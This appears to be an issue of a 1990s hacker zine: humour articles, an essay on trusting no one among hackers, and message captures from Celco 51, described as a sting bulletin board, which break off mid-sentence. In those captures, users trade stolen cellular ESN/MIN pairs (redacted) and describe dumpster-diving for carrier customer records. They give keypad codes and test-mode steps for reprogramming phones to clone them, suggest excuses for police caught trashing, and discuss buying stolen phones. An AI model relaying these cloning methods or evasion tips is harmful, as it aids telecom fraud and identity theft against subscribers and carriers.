<----------------------------------------------------------------------------> The Warez Kiddies with the Magixoral Misterial Haxoring Powrz from AOL Now that neeto doods from AOL are on IRC, one must phear their warez haxoring abilities that astound the mind. Late in August, one dark and cloudy night on IRC, we were exposed to the true existence of ultimate haxoring powers on AOL. On this particular occasion, three yewsers from *.aol or *.152.* joined #hack and started talking about neeto Captain Bluebeard Warez Kiddie stuph. And eye was so astounded that eye made the bad suggestion to kick the fellowz. Oh, my mistake! The first AOL dood started threatening me with his magixal haxoring methods and how he steals AOL accounts daily. Then he sed he would infect me with the Doomsday virus. Then, he threatened to kill me. Then he threatened me with his groups, and then his groupie friendz. He assured me he has satan and VCL (Viruz Creation Lab) and he will fry my internet connextion and make my life miserable. Oh how eye suffer from this incident. My acshunz have led me to phear and cower down befowr AOL users. Let this be a warning to all IRC haxorers: ewe may know what a linux bug is, but that means nothing in the face of the AOL gangstar posse. Only FEH stands between uz and them. We at FEH must sharpen our haxoring capabilities to deal with this huge threat. AOL haxors are evil and talented... and they also know many jo momma jokes. Eye can just imagine what will happen when prodigy steps on IRC. ewe can say that we are simply outclassed.. minuteman <phear the linux bug> <----------------------------------------------------------------------------> fr0m b0b'z dEskt0P: Well. |'ve been asked to write this article for FEH. Of course, I have no idea what to write about. So, I've come up with a Twelve Step Plan. Now, most you rejects are all ready on twelve step plans, but I swear, this one is different. It is far more important than your drug addiction, alcohol problem, or 'special' sex problems (which I don't care to hear about). N0, this is definitely something new. It's the FEH Certified 12-step plan to eleetness. If you are not in FEH, then, well, this is for you. So listen up, because I'm too=20 fucking lazy to repeat myself. Well, here it is. In a somewhat condensed form. I tried to use small words so you could all understand. 1. Get rid of the stupid nick. Jibblebutt the Avenger is lame. So is a mixed jumble of letters and numbers. I mean, I'm really tired of getting messages from people with lame nicks, pretending to be eleet. Things like: [h00tie@aol.com] Hey, b0b, like, let's hack something. heh. yeah. yeah. Let's break into Windows! Basically, don't do it. IT's not that hard. If you need help to do this, you really are clueless. I have no idea how you even got this article. 2. Ok. Step two. Well, the step here is to back and start over. Mitnick the Crusader isn't an improvement. Geez. 3. Finally. Now, you've got to get a clue. I mean, like, really, do something. Like, _start_ with the alt.2600/#hack FAQ, but don't take it as the gospel. Learn something. Don't claim to know C and write a 'hello, world' program as proof. Go read the RFCs. The man pages. Essentially, everything. 4. This is kinda pointless. Go back to #3, and try again. Just because you understand how a tcp sequencer works doesn't mean much. Go find out how many words are in a header, and how many bits per word. Then maybe you can move up. You'll know more than=20 you-know-who. 5. Finally, we get rolling. Let's see. Uhm. Prove yourself. Quit spending time bullshitting on irc, and do something. Go somewhere, do something, show some realistic side to yourself. (Oh, side note: irc scripts, or any other lame script is not proving yourself. That's satisfying your male ego. That's all.) 6. Prove yourself again. I'm not sure, but I think cracking a password is pretty lame. I'll consult with God, but take my word for it. Running 'CrackerJack' is not exactly the height of hacking. In fact, it's not even writing a script. It's taking a password file and trying to crack it. Big deal. Your mother could do that. (She does some really _interesting_ things, you might wanna know. ;]) 7. God, this is pointless. 8. Only four more steps left. Fuck. I wonder if I can think of something good. Hmmm. 10. Greetz t0: shoo, dtmf, dhate, SnoCrash, Redragon, AliceD, casret, t3, elastic, hosaka, hotrod, gita, Veggie, lgas, Heretic, plant, Okinawa, kemo, and all the rest. You know who you are. If you aren't sure, then I don't have greetz for you, so fuck off. Okay? 11. Now, you like, prove your worth by besting an eleet. Show how skilled you are. Answer all quiz questions. Break into an eleet's box, and steal his warez. Only then will you be able to make it up higher. 12. Why the hell am I even attempting this. You aren't eleet. You never will be. You suck. Completely. I know. In fact, I knew that since the beginning I'm just late on my FEH article, and the good one got erased. So, this is to amuse us eleets, as we watch you little IRC-warriors fight over the DCC to get it first. And, oh, while I'm at it, I might as release these warez kids inpho. I hate warez k0urierz. heh. Well, that's all from me. If you want further clarifications, you can reach me at b0b@eleet.net. That's right. eleet.net <-- where all the eleets hang out. "People who think they know everything annoy those who really do." <----------------------------------------------------------------------------> How to Destroy Pac-man by Hotrod one) no abuse - works. two) one hit with a wooden lousiville slugger baseball bat - works. three) drop from second story window onto cement driveway. landed on end (!) works. four) passed over 3 times with 1984 plymouth reliant. works. five) 30 seconds in microwave. much arcing, smell of ozone pervasive. cartridge does not work. cart opened for examination. cart emits strong odor upon opening some melting evident one pin seems to have melted back off the board. burn marks on board cleaned Atari 2600 cart abuse test Needing an article for FEH, I thought it might be fun to take one of my many PAC-MAN carts and see what it would take to render it useless. Pulling one off my shelf, I first confirmed that it worked. I wanted to torture the cart progressively, from relatively light tasks to a real physical workout. Being FEH, my tests would be elite. Being FEH, this article is elite whether you know it or not. Test 1) America's Pasttime Baseball, of course. Surely a few good thwaps with a fine Louisville Slugger would put the phear of FEH in good Mr. Pac-Man. Scotch tape held the cart in my doorway as I hit it twice before it fell. I refastened it for one more hit before testing it. The cart functioned perfectly. Test 2) Aerial Drop I felt that a couple drops from a second story window had a good chance of killing this cart. The drops resulted in an audible sound upon shaking of the cart, but again the cart functioned perfectly. Test 3) Dad's Car I put the cart under the rear left tire and passed over the cart several times, fully expecting this to be the final test. The case and internals held up, however, as the cart functioned. Test 4) The Nuke I couldn't think of anything else to do, so I stuck the cart in the microwave for 25 seconds. It arced alot. It started to smell. Dad walked by and said "What are you doing?" I said "FEH shit." He said "It smells." I opened the door on the microwave. Ozone. Lots. It stunk worse that c0ri's b0x. Not that I would know. Anyhow. Oh yeah, it was hot, from the inside out. It didn't work. I let it cool off a bit. It still didn't work. I opened the cart, only to be hit by the stench of ozone once again. The visible damage seemed to be contained to a burned area toward the right of the pc board, near the pins. The second pin from the right had peeled up and off the board. Repeated attempts to insert the cart and get the pin/trace inserted correctly failed. Looking to the future, I intend to try to solder the trace onto the board, and failing that to put the rom in a new board to see if the ROM is damaged. I'm such a sadist. Or is it masochist. I always get them confused. I intend to revive pac-man. And I intend to kill him again. More slowly, more painfully. <----------------------------------------------------------------------------> Urination, A Poem by: y TeeHee was her laugh. Far below the children screamed. Root was but an unknown dream. The warez were hot. The HST fast. The night young, long, forever. Root was mine. Exploit sendmail all the time. I had to Pee. I had to Pee. Whoa is me. But damn it, I had to pee... <----------------------------------------------------------------------------> Trust Among Hackers by ReDragon With the most recent series of busts and raids caused by someone that some in the community felt was one of them, the point of trust needs to be reemphasized among hackers. The question to be faced is: who do you trust? The answer to this question is extremely simple; you trust nobody. What that means is that you don't put anybody in the position where they can get you in trouble because of their knowledge of your activities. It is ludicrous to post illegal information to a bbs, which by its very nature is "public", if only to a limited number of people. Besides the fact you can't possibly know everybody on a board to begin with, there is no way you can know where that information you post, with your name attached, is going to end up. You are in essence handing your liberty to the trust of people you have no relationship with. But beyond something as intuitively obvious as that, it is irresponsible to trust incriminating information to even those people with which you are 'friends' with in the hacker community. If given the opportunity to trade their own freedom for yours, how sure are you that they would not betray you? Certainly not all hackers would, but you are being naive if you think that a good number of them wouldn't. You don't need to share illegal things you have done in order to exchange knowledge or gain respect among hackers. If you really want to be a friend, don't put another hacker in a position where he has to make such a horrid choice between his freedom or yours. -ReDragon <----------------------------------------------------------------------------> Celco 51 These are captures from Celco 51, which was located in NJ. It was a sting board, operated by a confidential informant (PMF), and a secret service agent (Carder One). These are to give those an idea as to what went on, on the bbs. All of the users were not into fraud. Many just express an interest for electronics, communications, and computers. All numbers, etc. have been x'd out. Mmind, chillin, LeD, CellFone, Alpha Bits, and Bar Code have all been arrested as a result of this, and others were raided; but since those raided have not been seen in print, we will not disclose those who we know about here. After some consideration, the names have been removed in almost all cases from the messages; this was an editorial decision and we stand behind it. Some repetitive content (ie lots of quoting) has been eliminated. xx>xxxxx i did while back, i still got about 800 serivce agremnts thier xx>copier screwed up they tashed but esn/mins perfect xx>starange the ESNS here are liek 170 or 130 all numbers xx>is that normal for an ESN? its in the ESN slot The esn will be 8 digits hex (numbers and a-f) or 11 digits all numeric. --- xx>I used to go trashing, but after I found the local cellular carriers xx>dial-in computer phonenumber and login and password in the garbage, life xx>changed quickly. I have full account info for every cellular telephone xx>in the (209) area-code. ESN/MIN's, Name, Address, Feature Package, Phone xx>type, credit history, mothers maiden name, Social security #, Drivers xx>license numbers... it is sick. I would hate to have to get a phone xx>activated by a real carrier they would probably want to know how many xx>sexual partners I have had... I am very interested in getting a scanner xx>set up so I can grab them off the air... Should I buy the $99 TimeLine xx>Inc. Cellsite Transciever??? I already have a 800mhz capable scanner... xx>anything I can plug into my scanners headphone jack to decode the xx>pairs??? I know that most of my (209) ESN's will not work in the NYC xx>area. No Roamers allowed there... but they do seem to work just peachy xx>everywhere else in this big country. However... xx> I HAVE INTERNATIONAL BLOCKED ON ALL THE CARRIERS HERE... anyway xx>around that without pretending to be someone else and getting a fake xx>credit check done??? Can only make international with calling cardz. xx>B-$tring (209) VMB 1-800-466-9222 Mailbox 1393 If you truly have access to this system, just make your own damn account and let it roam everywhere. What would you need to scan for? --- i wonder if I put this list up.? (Long list of 718-xxx-xxxx xxxxxxxx removed) l8tr --- xx>->I used to go trashing, but after I found the local cellular carriers xx>->dial-in computer phonenumber and login and password in the garbage, life xx>->changed quickly. I have full account info for every cellular telephone xx>->in the (209) area-code. ESN/MIN's, Name, Address, Feature Package, Phone xx>->type, credit history, mothers maiden name, Social security #, Drivers xx>->license numbers... it is sick. I would hate to have to get a phone xx>->activated by a real carrier they would probably want to know how many xx>->sexual partners I have had... I am very interested in getting a scanner xx>->set up so I can grab them off the air... Should I buy the $99 TimeLine xx>->Inc. Cellsite Transciever??? I already have a 800mhz capable scanner... xx>->anything I can plug into my scanners headphone jack to decode the xx>->pairs??? I know that most of my (209) ESN's will not work in the NYC xx>->area. No Roamers allowed there... but they do seem to work just peachy xx>->everywhere else in this big country. However... xx>-> I HAVE INTERNATIONAL BLOCKED ON ALL THE CARRIERS HERE... anyway xx>->around that without pretending to be someone else and getting a fake xx>->credit check done??? Can only make international with calling cardz. x>x->x-$tring (209) VMB 1-800-xxx-xxxxx Mailbox xxxx xx>If you truly have access to this system, just make your own damn account xx>and let it roam everywhere. What would you need to scan for? xx> no shit... thats what I do.. 8) --- ah hmm some say i think Motoroloa and a few are nokia and a few are audiovox (MOST are audiovox) ive got abiut 450 contracts here. almost got caught tashing though but it was some domb mantiance guy thought i worked in the complex heh ah well --- ive been looking NADDA in this weeks trading post. ill check todays paper in a few ah well i STILL wish i had gotten that oki 900 for 50$ i say now 1.5-2 years ago DAMN DAMN DANN did see an nice OKI (not 900) for sale t the flea market for 100$ told him he was crazy but no deal. guy had line mans sets at an ham fest 80-100$ for the CHEAP as ones bah used also told him i would give 25$ thats all. no deal bah bah bah so i spent my money on a gig drive --- OH ok i just havent seen anyone but me post ESNs that are 11 digits thats all --- MOre ESNS from the Cellualr One Guy..... DEMO IN LOBBY! - [ESNs removed] xxxxxxx (dunno if its xxxxxxx or xxxxxxxx (they had an esn change dunno which way though) ok dats enough, im SURE that DEMO in lobby will be cool. i pass it every time i go to trash heh ah well get me a phone and ill give many many more --- i would post more but im tired as shit --- (ESNs removed) 20 bux says he is just making these up for post-call purposes 8) --- xx>20 bux says he is just making these up for post-call purposes 8) hmmmm, xxx does it really matter.? --- xx>ive been looking NADDA in this weeks trading post. ill check todays xx>paper in a few xx>ah well i STILL wish i had gotten that oki 900 for 50$ i say now 1.5-2 xx>years ago xx>DAMN DAMN DANN xx>did see an nice OKI (not 900) for sale t the flea market for 100$ told xx>him he was crazy but no deal. xx>guy had line mans sets at an ham fest 80-100$ for the CHEAP as ones xx>bah used also told him i would give 25$ thats all. no deal xx>bah bah bah xx>so i spent my money on a gig drive heheh kewl.. i haven't received any of those trade mags yet, u had any since? --- xx>OH ok i just havent seen anyone but me post ESNs that are 11 digits xx>thats all prehaps thats a virginia thing...? --- xx>xx>i wonder if I put this list up.? xx>20 bux says he is just making these up for post-call purposes 8) uuu no.. haven't seen u post any codez... --- Hey whats up all ??? :) Coming soon 5-ESN mod for the oki-900. And complete packages like the oki-900 with the 5-ESN mod installed and working. Well any way here's some use full info for people that are not familer with the oki-900. The best feature that the oki-900 has both of these and they are you have 5 nam's that you can swith from in seconds through the keypad. And the fact that you can watch yourself get tracked, right on the digital display. Kewl ha. well thats all for now check the wall if you live in New York or anywhere else in the country where the oper. passes ANI you'll love that. --- >Hey whats up all ??? :) > Coming soon 5-ESN mod for the oki-900. And complete packages >like the oki-900 with the 5-ESN mod installed and working. > Well any way here's some use full info for people that are not >familer with the oki-900. The best feature that the oki-900 has both of >these and they are you have 5 nam's that you can swith from in seconds >through the keypad. And the fact that you can watch yourself get >tracked, right on the digital display. Kewl ha. > well thats all for now check the wall if you live in New York or >anywhere else in the country where the oper. passes ANI you'll love >that. cool, is u postin' codez on my wall hehehe --- >20 bux says he is just making these up for post-call purposes 8) >hmmmm, does it really matter.? YOur just a good guesser :) Not really, not on the net recently? --- >Hey whats up all ??? :) > Coming soon 5-ESN mod for the oki-900. And complete packages >like the oki-900 with the 5-ESN mod installed and working. > Well any way here's some use full info for people that are not >familer with the oki-900. The best feature that the oki-900 has both of >these and they are you have 5 nam's that you can swith from in seconds >through the keypad. And the fact that you can watch yourself get >tracked, right on the digital display. Kewl ha. > well thats all for now check the wall if you live in New York or >anywhere else in the country where the oper. passes ANI you'll love >that. Is this supposed to be new? --- hmmm nope, though ikm stuck on the wirelss product news and mobile product news i CANT get offf i wish i would get telephony i love the ONE issue i got (rain soaked when i found it sigh) ah well i get inter@tive now it roks --- x>Hey whats up all ??? :) > Coming soon 5-ESN mod for the oki-900. And complete packages >like the oki-900 with the 5-ESN mod installed and working. > Well any way here's some use full info for people that are not >familer with the oki-900. The best feature that the oki-900 has both of >these and they are you have 5 nam's that you can swith from in seconds >through the keypad. And the fact that you can watch yourself get >tracked, right on the digital display. Kewl ha. > well thats all for now check the wall if you live in New York or >anywhere else in the country where the oper. passes ANI you'll love >that. Did I get a old post or somthing, cuz that mods been out for a Loooong time. How bout a oki snarfer mod, now that'll be cool! --- I know where to get an esn reader... you need a heavily modified radio for it to work... it also needs a pc as well but it is the size of a lpt connector... easily ditchable... --- well the info no the fact that I will be able to supply soon yes. --- he means he's gunna be sellin' em.. most of us have had it for yonks... --- > Coming soon 5-ESN mod for the oki-900. And complete packages NO way, really? That would be kewl, how soon is that going to come out? I'm really excited. --- no enough time in the day, I get on once in a while, there's usually no one in #cellular --- hello all, \ if anyone knows of a source of Proms thatr will fir OKI please let me know, WEstern micro is out... 64k*8, but in an SO-28 pachage (the so-28 package is the hard part) any1? --- [About 75 ESNs removed] --- just a question is there a way to get a lock code from a clel phoen AFTER its locked? its a three digit code and im at 105 now out of 1000 and im like tired hehe havnet hanual hacked anyhting in awhile --- >just a question is there a way to get a lock code from a clel phoen >AFTER its locked? its a three digit code and im at 105 now out of 1000 >and im like tired >hehe havnet hanual hacked anyhting in awhile Try Bishop Books - the default is usually like 0000 --- yes , there is a way, in almost every cellphone, with a motorola just power up in test mode, hit # 55 #, then keep hitting * to scroll through NAM fields, youll find it. also with the oki just power up and access the test mode, and check that way, use the bishop books software that is on here, thall help you with many fones, the lock code is just a NAM field.. --- well #55# didnt work, it still says loc 'D and HOW to you power up in an Centel (motroloa) in test mode? --- >hello all, >\ if anyone knows of a source of Proms thatr will fir OKI please let me >know, WEstern micro is out... >64k*8, but in an SO-28 pachage (the so-28 package is the hard part) >any1? You can buy the TC54512AF-15 chips from SPI Semiconductor in CA, the # is 818-349-4495, they have an ad in Nutz and Voltz, they also sell teh TC541000 for the NEC p120/AT&T3610, they're about $5.00 each Or you can get the mod from me (4712, thanx PMF) inquire within will trade for keypad programming instructions, Audiovox, Fujitsu info --- What is the phones brand... --- Try function 0+000000+000000+rcl then rcl to scroll through programming fields (not test wait... doesn't work when fone is locked... Is it transportable, bag, mobile? --- on a dpc-550 you ground the recessed connector between the positive and negative power leads before powering up... on bricks and ultra classics its slightly different, most basic cell philes on motorola have this .... --- phone is a motoloa "classic or ultra classic" but i got it unl locked did the #32 in test mode (and yes its poss to do that while its locked) anyhow gimme kodez (heh) well how can you program this via the keypad if theres a way., if not i need a cable i dont feel (or have time) to make one) --- xx>xxx-xxx-xxxx XXXXXXXX Hey how about pin codes for these so they can be used..??? --- It's wierd, 718 doesn't issue roaming pins I think, I've had no problem with them.... --- welp either does cellular-1 or contel that i know of just have to say autorize me to roam if your not, it takes you to an roaming op asks for a kard Cellualr express (the main roaming comapny i dink) doest take VISA but takes MC, Amex and Discover or phone card need zip for MC and just the exp for discover wierd damn phone takers any discover as long as its 'right' --- I'm interested tell me more ... _phucked_ --- Every time I try to use this I get the "pin code asked" well if the pin codes are out there I would like them. Thanks. --- these don't come with pins. If they need a pin therefore they are dead. --- Thats not true because they can still recive phone calls therefore they are not dead. --- Life is simple, all the pairz I post are right off the ddi. So, if I post pairz without pins therefore the ddi did not get them. Alot of pairz that get abused will have the same number but will get a pin code. Alot of pairz have pins but the ddi was not lucky enough to pick it up. So, like I said, life is simple. --- so are you saying you did? --- yeah either that or there's idiots saying like 'HELP ME WITH MY NEC!!' and 'HOW CAN I GET ONTO L0PHT.COM!?!?' ugh. --- what kinda fone is it? i know how to do it for a fujitsu.. incredibly easy i'm assuming that most other fones are the same.. --- maybe if u posted sum stuff back then xxxxx would share his work. I am getting really annoyed with all these so called elite cell people here and like 2 people posting, and then they complain about it! these pairs work fine out of cellular one... --- if when they were grabbed, they were not grabbed during the unlock process, the PIN could not be obtained.. how about social engineering it? --- For people that don't know already, you can program an oki-900 through the key-pad. The first thing you need to know is the "Programers Dealers Password". So bascially the first thing you need to know is how to get into the phone. There is two important and different modes in the phone one is the debug-mode and the other is the programing mode. But you can forget about the debug mode unless your going to use your phone as a scanner or you already poped the moded chip in because it will do you know good to be in there other than using #01 command, You'll probally mess somthing up and then your going to have to deal with "erorr 7" all the time. Well any way this is how you get into the dealers password. First- press RCL and MENU keys simultaneously + # second- Enter the 10 digit dealer password third- usally it is 1234567890----oki also recommends -(48366226666,or *12345678#, or 0000000000). four- press STO to enter password into memory-- the phone will request you enter password again. five- Enter Programmed dealer password and press STO. But if you don't want to brother with all the bullshit and hack the I mean and just hack the fu-ken phone then just hold the MENU and RCL keys down simultanteously. Then dial * 6 2 7 2 9 8 5 4 # and your in and you can call it a fu-ken day. Well thats all the time I have today but if anybodys interested in this subject post it here and the next part for this if anybody wants it is going to be in the oki fourm. Peace\/ --- xxx-xxx-xxxx XXXXXXXX [a long string of ESNs removed] --- KA>and HOW to you power up in an Centel (motroloa) in test mode? Ground center pin. --- I have gotten a hold of many Toshiba 1000 (TCP-1000) battery's. These are the special nickel-metal hydride bat's, and if anyone wants them, then mail me here. --- >I enjoy trashing myself. one can ifnd ALOT of intresting things... I went trashing yesterday at Nynex Mobile Phone company. In the back (at the garbage can) was a big hefty bag full of ESN/MIN's, CC's and phone manuals! So im hooked up for a while, if anyone has a phone (stolen or whatever) they need help with reprogramming or whatever email me i have the manual :)... Ps. : im just getting into cell so if i didnt werd something right, dont jump on me :) --- did you just post your Voice # publicly? ok, maybe its just me, or is that stoopid? --- it's in his registry too! [Doesnt matter since your a fucking snitch] --- welp when i did my trashing i get so many esn/mins it aint funny i accualy got in the thingy (hey it was almsot empty) it had a TON of change ac pre-paid post cards (area code changed here) so i kinda decieed to bump up there post office bill so i droped em all off hehhe, and oh also, i find batterys, one is like hmm 6 inces long 3" wide heavy as hell black about 1/3-1/2" thick doesnt look like atransportable or bag phone batterey to heavy & big for a handheld,brick phone --- hmmmm....any pin codes for these? or do we have to "social engineer it?" --- Panasonic bags use the same large batteries as their video cameras... --- and you let ppl like this on your board? if someone did that on my board id nuke em in a sec.. --- >YEa. We found 2 antennas. 14pairs. And a buncha food. The other cellular >dealer, was nothing but beer bottles... and some brochures for this >super-healer vitamins. Go figure. Dunno. Trashing. Its just the physical >aspect of it... Until people come after you. We always get half way >thru, something or someone causes us to leave in a rush, and we leave >trash spewed out everywhere..... I think they will catch on soon.... But >it is so easy to learn so much. In 1 load of what most would consider >"worthless". We have determined that there storing everything on a VAX >computer. And got nifty bulletins about computer security... which also >tells us that they might be on a watch out. PLus blank forms for >reporting fraud, which indicates they may have locals (and not us) in >the cell game. Must be drug loosers who purchase 1000$ cell soft written >in quick basic... Who knows.... Its freaky when you think your the only >one, to find out there are tons of locals running the same game.... >anyways. ITs late and im rambling. This conan obrian fuck is annoying. >But yea. You can find so much, or so little trashing. We havent found >any actual hardware (bat eliminator BOXES, case boxes. We thought we had >a phone, but the box was really full of old pizza and apples and all >this gross food products). As far as land line telephone.... Hahah. >Food, food and more food. (If not that, we end up getting police >attention). >. >Has anyone ever had problems w/ law enforcement during trashing? Trashing is a lot easier to justify when you are doing it at your local CO or other bell building than it is when doing it in the back of a cell store. With the bell building you can clam 1) you where looking for cans to recycle. 2) You where looking for wire (fone wire is great for your stereo). Also, the general public isn't as weary to security concerns of the local telco as they are to cell fraud. Everyone and his mother knows someone who has been cloned. So be x-tra careful at cell places. --- Editing NAM info from the keypad is pretty common knowledge. If you know how to edit the ESN from the keypad without a mod, then that is leet info. I been hearing that its possible to do it thru debug mode by changing the memory location the esn is transferred to once the phone is on (and it once you change it from the keypad and turn it off, you'll have to do it again every time you turn it on) but i've never seen it done or heard how to do it. --- xxxxxxx's been doing that for all the years I've seen him on boards... I personally don't do it but... to each his own.. --- I find myself better off at a cell store, you kknow, I fix up broken electronics and then sell them, A lot more convincing at a cellfone store then a CO.... --- humm dunno but the battery is about 1-2 lbs heavy --- well my cell place i found tonight easy not 100% visbale to strereet but close enough to be wary, but this place had tons of wire and ac/dc adapters i didnt feel any phones but i will return tonight and see i did at&t and got a manual or so :) damn im gonn wirte a text file on trahsing and saftey hint #1 - Keep your trash CLEAN! throw all trash if you dotn tkae the bag in the dumpster and cover iut up with other bag low leve dumpsters are my fav We actually found a dumpster that is locked. The cell places quit throwing away most of the good stuff... I still haven't found much worth of hardware.. Ive been talking to some of the little g-wanna be people in the area. They can get the cell phones cheap thru all of their drug/pimp/idiot friends that steal them and are too stupid to know what to do with them 2 days later when the service is canceled. . They ditch them because they think they can be tracked by hellicopters with tracking devices.. So I gladly said I would take them off their hands (and absorb the risk of helicopter-trackers).. for 10$ each. :) --- I recently bought a motorola bag fone off a guy, it is a 2453a and I need to know what kind of modifications I can do to it. What I basically need to know is what is the fastest,cheapest,easiest,dirtiest way to change the esn? I am just getting started in cellular and so far think it is the only way to go. I d/loaded a text here on cloning fones or somthing and it had the wiring diagrams for the cable you needed to change the esn on the older software fones. Well I made the cables and used a motorola software I had but it didnt seem to pick up the fone, it was like they had other models of fones but none exactly like I had. If anyone would care to help me out on this I would be most grateful and will for sure return the favor. Thankx --- Choose the black or silver box option, and check the firmware with #19 in test mode if it is a number greater then 9122, you need to use g2... There will probably be others writing similar replies so why did I bother? --- Even with the newer firmware phones, the old software should "pick up" and read in the phones info, you probably built the cable wrong. There are a few different sets of plans for that phone, the right cable plans are theones that use the 10k ohm resistors. Also your power supply needs to be 12volts with at least 1 amp... more power (13.8 volts, 8 amps) works more flawlessly. --- I had the same prob with my brick.. two cables, checked for cold-solder joints, 10k ohm resistors 1/2 watt.. low tolerance.. .. One of the softs reset the esn to 00000000 ... that could have some to do with it. Who knows. I want to go flip... anyways. --- Actually, that is nokia.. Radio Shack buys nokia fones and puts their label on them (heard that one model was not nokia, but all others are).. Mobria is supposed to be the same as nokia (internally) but since I have never had one, I cannot verfiy.. That allows you to do everything except the ESN... --- I know that the NAM chip varies in some of the nokai models.. Not sure if there are only 2 chips or more, I only know of 2.. --- Check out Erricson, novatel, sony and Nec 9a Cell progging software and MODs in the /INTER and /CELTEXT libraries, straight form the author! some of these will only work on ETACS (ie. uk type) systems.. but check them OUT.... We gotz da MODS! --- I have a Motorola Flip (it's a Lazer phone, the flip without the flip) and I need someone to tell me exactly what the pins are on the back of the phone. There's 8 of them and two of the are the power (for the battery eliminator) so what are the other six? --- PIC is a series of microcontrollers, fro microchip international, its really a full little programmable computer on a chip, much more than a PAL or GAL --- When a motorlla zeros out the esn, it is marked as a loaner. You blew a security fuse, be careful with who you show that fone to. --- >Definitly. Ask him if the cradle is hooked to a magic black box oh >about 9" x 6" x 1"high w/ a power switch and red led on the front, and a >DB-15 connector or something on the front where the cradle connects!! Sounds like it. It is a black box with about those dimensions, it has a cradle for a loaner fone and a cradle for the target fone. Their are like 3 switch and a power button on the box with two leds or something like that. The box is actually not connected to the computer at all. --- >is it me or have 99% of the people here forgotten there are other phones >besides the motorola flips and okis? thats all we seem to discuss What? I didnt know there were phones other than motorola's and oki's. You must be stoned. --- anyone know how to determine the esn of an audiovox mvx-450?? the serial # on the back does not match the esn.. --- You just said something very important. Tech Class. Hermmmmmmmmmmmmmm. Wonder what goes on in a tech class, how tech is tech and if they throw away any study guides..... Speaking of which. This whole cloning thing.. .We might be after a whole new game here.... Why clone? Just cut it on yourself... Most of the databases that store all the info for cellphones... Reside at the home location of the store.. In our area its contel cellular. We found a fat printout, that came from their VAX machines... They handle all of the accounts.... :) ... ALSO - Has anyone ever found these rumored dial ups to cellular sites? has anyone been inside one legally or not? Its so tempting. Well ive had some small success but am working on a few..never having been a BELL employee im looking for sum more manuals on one im looking at now..If anyone can help id be very happy for email..thanks CARDER (I bet you would skank) --- I just got a nopkia m-11 bag, does anyone have any info at all on this phone, I don't have a power cord for it so power wiring and programming info would be appreciated... --- the fone is in cali. Not enough range.. hehe --- hehehhe see if anyone who's on here from Cali has a conviniently located --- I have a fijitsu bag and was wondering if anyone has any software or texts on it. i have sum stuff that i grabbed off of the l0pht, but it doesn't say shit other than how to get it into test mode. --- Uhhh btw how come you dont enable hi-bit, Pmf! In level one config there is an option that says "allow reciept of incoming hi-bit" or something like that... --- fuq yew bitch! Maybe thats just cuz we got the best weed! we're the stoned ones eh? --- Most bagphones (all brands) have regular eproms you can change with a regular eprom burner... --- I am looking for software to reprog the NEC p110, if anyone has it I would be willing to trade it for something or pay a small fee. Percival --- ok I just got an oki car phone .. model # is UM9015 ... When I power it up it's locked.. any info on re-prog'n it would be cool.... Also if anyone knows, Can I re-prog the ESN/MIN into it without an EEPROM burner... I cracked it open and it looks like it has a 27c256 250ns eeprom in it. thanks _phucked_ --- Uhhhhhhhh why do you have it turned off in the first place? If it's on we can all use hi-bit if we want to. --- hello, i'm looking for information anout at&t 9000 cellular phone if somebody have something please let me know tnx in advances --- You can send me money and I will tell you, or you could look in the file sections here - Tough choice huh? --- it is like a complete guide to say 200+ phones with NAM instructions, manufacturers info, a line drawing of the phone (not that imperessive, but u can tell if u have the right phone or not..) useful if u have an odd-ball phone and want to see if its really an oki 900 8) --- in cali they cannot do those scam sells on phones.. i do not remember the exact deal but they have to sell you the phones for somewhat decent price with out service... Sears is a good place for reconditioned mot bags (in cali) and my flip got stuck with all 0's for the esn i had to get a copycat to write it back. --- I just reinstalled windows on this 386 sx 20 with 31 megs of hd space to see what bishop books was... now i am trying to figure ou how to get the update to install :) --- Yeah lotta places are like that... you can make like 2 or 3 calls just by changing your min... cuz they like have a slow system.. then just change your min... from what I understand, thats what the oki 900 tumble mod does.. it just picks a random esn/min pair for each call... as long as its a new pair the cell system puts the call thru.. it was l ike that in Corvallis... --- I'm having problems with my Mot. flip dpc 550 cables...I got them built and it worked the first time I reprogrammed the phone a few weeks back....I tried to reprogram the phone today and the no service lite blinks and the roam light blinks very rapidly...last time I programmed it the phone just went blank and all was fine...Could anyone help me with this? --- Nevermind about the flip cable..It would've helped if I would've looked at the connections before I posted eh? heh Had about 4 looses connections... --- I just bought a used motor. scn2453a from a guy for $40, does anyone have any mods for this? or know anything about them? I cannot get the control button on the side to work for like displaying number or setting volume. any help app. --- the rapid blink of roam means your roaming on a NON-home type sytem, changing the system preferrence wqill affect this.. this is done by hitting RCL + * till it has preferrence setup to your liking, then hit STO to save it --- ok just re-read your messages, it sounds like the first times when you were gettinh the rapid blink whilst programming that the connections were bad or poor and the phone was just sort of powered up, you are right about phone going quiet when things aare going right, all lights go off on fliup during programming, ive found that progrmming the cells i would get errors a certain percentage of the time, consistenly, anyways i think that f08 or f10 can be caused by having a intermittent or proor connection from th TEST mode ppin ( center on back of flip) if this connection cycles during a reprogging sequence i believe F08 will result, at least thats what ive found. also: ive found intermittent results with the self p[owering up by the software, for example when i use bone.zip, i get it to work better by powering up the TARGET phone myself, at the approporiate time.. just basically saying ive found falkiness, and most of this stuff to be pretty close to asn edge.. --- This one went between the serial port.. then on the other end like a db15f connector. then the cradle plugs into the db15 connector, for pagers, for handheld 2 way radios, probably for cellphones. this is the device that the bravo software uses. . Also.. in the swing of the bravo, Im going to talk to a guy @ work, and TRY to get the advisor pager software, the NEC software for both the alphas and the little ones. if so it will be a celco release. awwyea --- Hi! I was experimenting with an TP 405 and i found that to enter in prog mode i have to enter *3001#SSSSS, where SSSSS is the security code, default is 12345. We can change it only using TP soft. (It is the same as the Nokia 100). Do you know how can we do to put it in test mode? I downloaded the tp.zip and the tp2.zip files but there are for the tp 205 and it has more conectors (it's my fuckin' english) than the 405. --- Has anyone saw this new "anti-fraud" device TRW has developed for cells? It's called the Voiceprint...I saw it on tv a couple of nights ago. It works by making a "print" of the signal the legit cellphone makes when it is activated. Everytime that phone makes a call a computer checks it's signal pattern against the one that is stored on the computer. So if you clone it, it will shut down the call because the signal patterns don't match, since every phones pattern is different. Then it like flags the account and notifys the cellpeople. They said it's in effect in some parts of LA and if it works well they are going to try to install them in all the high cell fraud areas...so has anyone else seen this/have any info on it? --- Yea i have heard a lot of people talking about this and in fact i have a friend who works with a not to be mentioned computer company that is part of the firsts testof this..in doing a litle trashing i heard cell-one is going to do some major investing into this in the new york area...if you want to see the article ill mail it to ya but i personally believe that digital is more the way the cos sre headed ..oh well guess ill have to figure out a new way to clone HAHAH CARDER --- well im not in a high-fraud (shit, this area prob has 0 fraud (execpt the gangs 